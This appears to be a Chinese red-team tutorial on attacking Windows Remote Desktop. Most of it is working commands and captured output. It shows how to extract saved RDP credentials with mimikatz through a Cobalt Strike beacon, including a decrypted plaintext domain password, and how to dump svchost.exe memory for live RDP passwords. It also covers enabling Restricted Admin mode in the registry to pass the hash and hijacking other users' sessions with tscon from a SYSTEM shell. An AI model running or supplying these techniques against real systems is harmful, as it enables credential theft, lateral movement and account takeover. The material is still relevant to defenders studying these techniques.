浅析RDP攻击面
目录抓取RDP连接日志
工具:https://github.com/Heart-Sky/ListRDPConnections
- 对外 RDP 连接记录
对外 RDP 连接记录保存在HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\
下,默认只包含缺省用户设置和已登录用户的信息
未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作 - 对内 RDP 连接记录
对内 RDP 连接记录保存在 Wind,。
一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接
选取
EventID: 1149 网络连接 事件作为全量的登录事件,
EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件
比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。
cs
execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe
获取RDP凭据
Dump RDP Credentials From Credentials Directory
场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。
默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下
但是我直接翻的话翻不到
但是通过命令是可以找到的,而且是cmd,不是powershell
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.
0x01 凭据保存的目录:
C:\Users\Administrator\AppData\Local\Microsoft\Credentials
0x02 凭据的值:
5EEE4899502166CA91541FD79DA485CB
使用mimikatz来进行操作读取密码
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
CS上的话直接
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
在这里我们需要记住guidmasterkey的值,稍后我们需要找到对应的东西
{96768172-a437-4ca8-a877-14e0aa498a3e}
使用这条命令进行把数据保存到c盘的根目录中:mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt
然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.
beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:
Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session : NewCredentials from 0
User Name : Administrator
Domain : WEBLOGIC
Logon Server : (null)
Logon Time : 2022/4/24 15:14:41
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session : Interactive from 1
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/22 1:27:06
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-20
Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID :
Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session : Interactive from 6
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/26 22:57:38
SID : S-1-5-21-2004965046-3923418856-647414055-500
[00000000]
* GUID : {96768172-a437-4ca8-a877-14e0aa498a3e}
* Time : 2022/4/27 0:00:37
* MasterKey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
* sha1(key) : b356179c1c3c35b9b8e4c0dcb345db87c692c6a1
Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/4/22 1:26:43
SID : S-1-5-19
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-18
[00000000]
* GUID : {628e2357-b149-42af-8714-2a2e22e08f27}
* Time : 2022/4/24 16:00:14
* MasterKey : 967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
* sha1(key) : 00472b23a48a568dff80abe4194c8196ba56bbb3
[00000001]
* GUID : {3f911ddd-ae45-479e-bb98-5b6c10c26c50}
* Time : 2022/4/26 22:50:53
* MasterKey : ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
* sha1(key) : 48feec9411a1017f5edb03a59922f2ea960bbfe9
[00000002]
* GUID : {acc494d8-92ca-45e0-9e87-27017cf59c68}
* Time : 2022/4/26 23:02:50
* MasterKey : d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
* sha1(key) : be9117bfc64e4d0f62c06adfbd3f7f7f82643237
[00000003]
* GUID : {afe30aef-f67e-4cea-9b91-71318f566140}
* Time : 2022/4/22 1:26:42
* MasterKey : c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
* sha1(key) : 39507d003e38633020e85d318e509f55939d208f
也就是
MasterKey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
使用下面的命令进行读取密码的信息
这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码
mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
Decrypting Credential:
* masterkey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000b8 - 184
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2022/4/26 16:00:20
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/10.10.20.7
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : redteam\saul
CredentialBlob : admin!@#45
Attributes : 0
Dump RDP Credentials From svchost.exe
在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。前提是这个RDP是当前正在连接的。
拿Windows Server 2012做测试
整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。
找到正确的进程
有2种方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。这仅在 RDP 连接仍处于活动状态时才有效。
0x02 Command Line
通过如下命令可以找到
netstat -nob | Select-String TermService -Context 1
或者是直接找rdpcorets.dll
tasklist /M:rdpcorets.dll
Command Line的话需要留心PID,后面创建转储文件的时候会用到
创建转储文件
0x01 Process Hacker
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件
0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件
0x03 ProcessDump
procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
0x04 comsvc.dll
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full
查找明文密码
可以通过strings命令,但是strings在Windows Server 2012上并不存在。
Mimikatz也支持了这一功能
可以通过下面命令抓取
ts::logonpasswords
但是Windows Server 2012就有问题,会抓到bytes流之后崩溃
Pass The Hash With Remote Desktop Protocol
Restricted Admin mode
这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。
Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP
利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode
修改注册表开启Restricted Admin mode的方法:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否开启
DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
成功在win7上开启Restricted Admin mode
Hash登陆RDP实现
这里需要使用mimikatz去pth
这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。
测试了几个实验:
虚拟机环境下
win2012 RDP登陆 win7会出现下图错误
win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
sekurlsa::pth /user:administrator /domain:localgroup\VIRTUALDATA02 /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
win10登陆win2012没问题
小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。
这种场景的话主要是
1、有目标机管理员组账号的用户名+hash,还有机器名。
2、修改对方注册表开启Restricted Admin mode(受限管理模式)
3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protocol
RDP会话劫持
系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令
以Windows Server 2012测试
在任务管理器中会出现多个会话
可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话
输入密码后成功登陆
在Windows Command Line下有一个tscon命令,可以实现上述功能
首先查询会话ID
query user
然后执行tscon命令即可切换会话
tscon 8 /PASSWORD:rdp1用户的密码
当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。
首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现
PsExec64.exe -s -i cmd
之后输入
quser //查找rdp ID
tscon 8 /dest:console
成功后直接跳转到该RDP